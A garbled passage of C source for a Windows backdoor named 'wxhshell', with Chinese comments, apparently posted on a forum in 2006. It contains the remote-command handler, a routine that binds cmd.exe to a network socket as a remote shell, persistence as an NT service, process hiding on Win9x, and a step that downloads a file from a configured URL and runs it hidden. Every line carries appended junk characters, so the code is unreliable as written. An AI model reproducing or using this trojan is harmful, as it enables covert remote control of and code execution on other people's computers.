  else 9d{W/t?NH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =k$d8g ez  
  } ~JZ Lfw  
  else { 4|2$b:t  
VBH[aIW  
    switch(cmd[0]) { Nb];LCx  
  %M`|0g}!  
  // 帮助 {?!hUi+  
  case '?': { u^]yz&9V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p +T&9  
    break; D~?kvyJ  
  } %I.{umU  
  // 安装 -:~`g*3#  
  case 'i': { `PW=_f={  
    if(Install()) 5t<]|-i!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #>- rKv.A  
    else F}AbA pTv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i3%~Gc63  
    break; ~qqtFjlG^  
    } q~w;C([k_  
  // 卸载 pbzbh&Y  
  case 'r': { ^&6NB)6  
    if(Uninstall()) eAuJ}U[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (C3d<a\:  
    else (D l"s`UH~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6AwnmGL(;;  
    break; w-#0k.T  
    } ^LNc  
  // 显示 wxhshell 所在路径 >|'6J!Op  
  case 'p': { #KK(Z \;  
    char svExeFile[MAX_PATH]; 4`UT_LcI  
    strcpy(svExeFile,"\n\r"); ; Q 6:#  
      strcat(svExeFile,ExeFile); b@X@5SJFW  
        send(wsh,svExeFile,strlen(svExeFile),0); YpKai3 B  
    break; d#d~t[=  
    } E{6}'FG+A  
  // 重启 u]2k%TUY  
  case 'b': { v'>Yc#VJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ho20> vw#  
    if(Boot(REBOOT)) = ]@xXVf/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )/ZSb1!  
    else { ZF t^q /pw  
    closesocket(wsh); ..T (9]h  
    ExitThread(0); |X.z|wKT6  
    } q#a21~S<  
    break; ,9pi9\S  
    } v8@dvT<  
  // 关机 @i68%6H`?  
  case 'd': { YiJu48J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q&#:M>!|  
    if(Boot(SHUTDOWN)) sy`s$E d!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +|H'I j$  
    else { ~ZNhU;%YW  
    closesocket(wsh); y?JbJ  
    ExitThread(0); yJL"uleRT  
    } p)jxqg  
    break; AFFLnLA<L  
    } 1CM1u+<iZ  
  // 获取shell *nc4X9  
  case 's': { [>:gwl _\  
    CmdShell(wsh); 8$vH&Hd I  
    closesocket(wsh); C5M-MZaS  
    ExitThread(0); H<xC%/8  
    break; -,;Ep'  
  } <^\r9Qxl  
  // 退出 \nHlI=!P  
  case 'x': { :A'!u r=\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <S}qcjG  
    CloseIt(wsh); sy?>e*-{  
    break; !kcg#+s91  
    } .'a|St  
  // 离开 mr1}e VM~!  
  case 'q': { %:,=J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UBVb#FNF  
    closesocket(wsh); kYs|")isj  
    WSACleanup(); s z\RmX  
    exit(1); 16>uD;G  
    break; vf =  
        } U %ESuq#  
  } cP1jw%3P  
  } m?j!0>  
9C$!tz>>+i  
  // 提示信息 j VZi_de  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )|{{}w~`  
} .+Ej%|l%  
  } r+\z0_' w6  
%p9bl ,x  
  return; gJ&!w8v.  
} ,_$"6  
x/7G0K2\}  
// shell模块句柄 6.|~~/  
int CmdShell(SOCKET sock) LU{Z  
{ ]~^/w}(K  
STARTUPINFO si; is(!_Iv  
ZeroMemory(&si,sizeof(si)); \uk#pL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9^^#I ~-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W~%~^2g ;k  
PROCESS_INFORMATION ProcessInfo; 5u46Vl{  
char cmdline[]="cmd"; qX(%Wn;n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gQuw|u  
  return 0; L0kNt &di  
} NXBOo  
0 MIMs#  
// 自身启动模式 v-3zav  
int StartFromService(void) Hl;p>>n  
{ BFO Fes`>~  
typedef struct Oez}C,0  
{  J31M:<  
  DWORD ExitStatus; tA-B3 ]  
  DWORD PebBaseAddress; #Qr4Ke$g[l  
  DWORD AffinityMask; JP4Moq~r   
  DWORD BasePriority; XijLS7Aw|  
  ULONG UniqueProcessId; f~FehN7  
  ULONG InheritedFromUniqueProcessId; U!/nD~A  
}   PROCESS_BASIC_INFORMATION; b8.%?_?  
YfwJBz D  
PROCNTQSIP NtQueryInformationProcess; 0s|LK  
Qs9U&*L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *Zi%Q[0Me  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4Aew )   
n^\;*1%$c@  
  HANDLE             hProcess; Qcy`O m^2  
  PROCESS_BASIC_INFORMATION pbi; 38rZ`O*D  
5|CiwQg|,p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3\n{,Q  
  if(NULL == hInst ) return 0; 1fFb 7n~3  
&fW=5'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yCIgxPv|7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <j\;>3Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .4<U*Xkt  
WrNgV@P  
  if (!NtQueryInformationProcess) return 0; E`fssd~  
r0deBRM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aT!9W'uY  
  if(!hProcess) return 0; ?=!XhU .  
.w_`d'}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RQCQGa^cP  
Kk>qgi$  
  CloseHandle(hProcess); 5\0.[W{^  
_IV@^v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )v=G}j^  
if(hProcess==NULL) return 0; (?BgT i\  
p@Y$eZ:O  
HMODULE hMod; &}0wzcMg  
char procName[255]; TucAs 0-bF  
unsigned long cbNeeded; g0j4<\F2\  
loUwR z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ` G=L07  
)H9*NB8%  
  CloseHandle(hProcess); (oitCIV  
G>,nZ/,A{  
if(strstr(procName,"services")) return 1; // 以服务启动 %lJiM`a  
6 2`PK+  
  return 0; // 注册表启动 NWHH.1|  
} Q|B|#?E==  
; eF4J  
// 主模块 Rca Os  
int StartWxhshell(LPSTR lpCmdLine) $SzCVWS  
{ A>t!/_"  
  SOCKET wsl; zI&4k..4  
BOOL val=TRUE; SxZ^ "\H  
  int port=0; 1O2h9I$bk  
  struct sockaddr_in door; %DRy&k/T  
2^ bpH%  
  if(wscfg.ws_autoins) Install(); pR6A#DgB  
'}+X,Usm  
port=atoi(lpCmdLine); LAY)">*49H  
Flujwh@rg  
if(port<=0) port=wscfg.ws_port; k,R~oSA'n  
z3Y)-  
  WSADATA data; |5IY`;+9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )~.&bEm\  
W,/C?qFp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o`K^Wy~+k#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6eUiI@J  
  door.sin_family = AF_INET; kE_@5t7O{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HS`bto0*  
  door.sin_port = htons(port); Gr#rM/AfCK  
8<-oJs_o+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;2Ad])  
closesocket(wsl); ?gR\A8:8  
return 1; nG ^M 2)(8  
} 2b4pOM7W  
wEfz2Eq  
  if(listen(wsl,2) == INVALID_SOCKET) { C*s0r;  
closesocket(wsl); rF'^w56  
return 1; R'9@A\7#  
} IN|i)?r h  
  Wxhshell(wsl); JQ@`EV9,  
  WSACleanup(); 9<A\npD  
HcBH!0  
return 0; j,56Lh%1  
Vr-3M+l=O  
} ^wO_b'@v  
UJz4>JF  
// 以NT服务方式启动 Wl !!5\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QFNz9c  
{ ^?6 W<  
DWORD   status = 0; t$y&=v  
  DWORD   specificError = 0xfffffff; q3x;_y^  
Q}Ze-JIL$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XJJ[F|k~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .hQ3A"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; < R|)5/9  
  serviceStatus.dwWin32ExitCode     = 0; GIC"-l1\  
  serviceStatus.dwServiceSpecificExitCode = 0; 2-6.r_  
  serviceStatus.dwCheckPoint       = 0; /G)KkBC  
  serviceStatus.dwWaitHint       = 0; 7/&C;"  
-[f "r`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sw$R2K{y  
  if (hServiceStatusHandle==0) return; !k:zLjtp  
@vdc)vN[ /  
status = GetLastError();  UL)"  
  if (status!=NO_ERROR) b 5F4+  
{ 5xMA~I0c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V<HOSB7  
    serviceStatus.dwCheckPoint       = 0; AU\xNF3  
    serviceStatus.dwWaitHint       = 0; t*Vao  
    serviceStatus.dwWin32ExitCode     = status; j$|j8?  
    serviceStatus.dwServiceSpecificExitCode = specificError; qP;{3FSkAF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o0aO0Y  
    return; *X=@yB*aK  
  } L,L ~ .E  
)4!CR/ao  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0H OoKh  
  serviceStatus.dwCheckPoint       = 0; Ko$ $dkSE  
  serviceStatus.dwWaitHint       = 0; o5=)~D{/G3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NoJnchiU  
} &h7smZO5j  
_@#uIOcE  
// 处理NT服务事件,比如:启动、停止 _OJ0 < {E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '<?v:pb9  
{ ]^*_F  
switch(fdwControl) 0NCOz(L/  
{ bl" (<TM  
case SERVICE_CONTROL_STOP: 9<t9a f\.>  
  serviceStatus.dwWin32ExitCode = 0; J|gdO+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ei{(  
  serviceStatus.dwCheckPoint   = 0; a%Z4_ToLZ  
  serviceStatus.dwWaitHint     = 0; IS,zy+w  
  { M.xhVgFf)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hi; K"H]x1  
  } OX)#F'Sl}  
  return; N+\oFbE  
case SERVICE_CONTROL_PAUSE: < v|%K.yd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u8-a-k5<  
  break; MtpU~c  
case SERVICE_CONTROL_CONTINUE: MiSja#"+A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _l24Ba$F6  
  break; }g>dn  
case SERVICE_CONTROL_INTERROGATE: HF &h  
  break; KjFZ  
}; ig{A[7qN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jw/'*e  
} <=;H[} e  
,] ~u:Y}  
// 标准应用程序主函数 bGZ hUEq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C1X}3bB  
{ d98))G~W  
r/mA2  
// 获取操作系统版本 8%;}LK  
OsIsNt=GetOsVer(); <Jwi ~I=^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z>cIiprX  
F^.om2V|9  
  // 从命令行安装 ki;!WhF~  
  if(strpbrk(lpCmdLine,"iI")) Install(); B;xZ% M]  
iEiu%T>  
  // 下载执行文件 W<\kf4Y  
if(wscfg.ws_downexe) { c=b+g+*xd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "bD+/\ z  
  WinExec(wscfg.ws_filenam,SW_HIDE); GXT]K>LA  
} opm?':Qst  
p+orBw3  
if(!OsIsNt) { FjD,8^SQW  
// 如果时win9x,隐藏进程并且设置为注册表启动 0n4g $JK7  
HideProc(); x`]Of r'  
StartWxhshell(lpCmdLine); 8O~0RYk  
} lo cW_/  
else 0zg2g!lh  
  if(StartFromService()) XMt u"K  
  // 以服务方式启动 zWy ,Om8P  
  StartServiceCtrlDispatcher(DispatchTable); If~95fy~c  
else W3 De|V^  
  // 普通方式启动 C:]/8l  
  StartWxhshell(lpCmdLine); M:R8<.{  
P7's8KOoS  
return 0; 1i4WWK7k  
}
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只看该作者 1 发表于: 2006-10-10
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